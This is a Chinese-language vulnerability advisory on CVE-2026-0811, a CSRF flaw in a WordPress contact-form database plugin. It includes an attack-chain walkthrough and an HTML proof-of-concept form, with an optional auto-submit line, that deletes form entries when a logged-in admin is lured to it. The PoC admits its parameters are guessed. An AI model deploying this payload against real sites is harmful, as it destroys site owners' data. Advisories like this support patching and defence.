CVE-2026-0811 CVSS 5.4 中危

CVE-2026-0811: Advanced Contact form 7 DB CSRF漏洞

披露日期: 2026-04-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-0811

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Advanced Contact form 7 DB WordPress Plugin

漏洞概述

WordPress插件Advanced Contact form 7 DB在2.0.9及之前版本中存在跨站请求伪造（CSRF）漏洞。该漏洞源于'vsz_cf7_save_setting_callback'函数缺少或错误的nonce验证机制。未经身份验证的攻击者可构造恶意请求，诱骗已登录的管理员点击链接，从而在不知情的情况下删除表单条目。此漏洞利用需要用户交互，对数据的完整性和可用性造成一定影响。

技术细节

该漏洞位于WordPress插件Advanced Contact form 7 DB的后台处理逻辑中，具体涉及'vsz_cf7_save_setting_callback'函数。该函数负责处理插件的设置保存及数据操作。在标准的WordPress开发规范中，关键操作应当使用wp_verify_nonce函数来验证请求来源的合法性，以防止CSRF攻击。然而，该插件在实现时遗漏了这一安全检查，或者验证逻辑存在缺陷。攻击者利用此漏洞的原理在于利用受害者的浏览器上下文。攻击者可以精心构造一个包含恶意表单提交的网页，并将该链接发送给目标网站的管理员。由于管理员此前已经登录了WordPress后台，其浏览器中存储了有效的认证Cookie。一旦管理员访问攻击者构造的链接，浏览器就会自动携带该Cookie向插件接口发送删除表单条目的请求。服务器端接收到请求后，因缺少Nonce验证而无法区分请求的真伪，导致误执行删除操作，造成数据丢失。

攻击链分析

STEP 1

侦察

攻击者确认目标网站安装了Advanced Contact form 7 DB插件且版本在2.0.9及以下。

STEP 2

武器化

攻击者构造一个恶意的HTML页面，其中包含指向WordPress管理后台的隐藏表单，用于发送删除表单条目的请求。

STEP 3

投递

攻击者通过电子邮件或社交媒体将恶意链接发送给目标网站的管理员。

STEP 4

利用

管理员在保持登录状态的情况下点击了链接，浏览器自动发送带有Cookie的伪造请求。

STEP 5

影响

由于服务器端缺少Nonce验证，请求被执行，导致指定的表单条目被删除。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-0811 -->
<!-- This HTML page demonstrates the CSRF vulnerability. -->
<!-- To test, host this file and trick an admin into clicking the button. -->
<html>
<body>
<h2>CSRF PoC: Delete Form Entry</h2>
<p>Click the button below to delete a form entry (if logged in as admin).</p>
<!-- The form targets the WordPress admin-ajax.php endpoint -->
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="vsz_cf7_save_setting_callback">
    <!-- Assuming delete parameter based on typical plugin behavior -->
    <input type="hidden" name="entry_id" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="submit" value="Click Me">
</form>

<script>
    // Optional: Auto-submit on load
    // document.forms[0].submit();
</script>
</body>
</html>

影响范围

Advanced Contact form 7 DB <= 2.0.9

防御指南

临时缓解措施

建议立即将插件升级至最新版本。如果无法立即升级，应暂时禁用该插件或限制管理后台的访问权限（如通过IP白名单）。管理员在点击不明链接时应保持警惕，不要在登录状态下访问不可信的网站。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表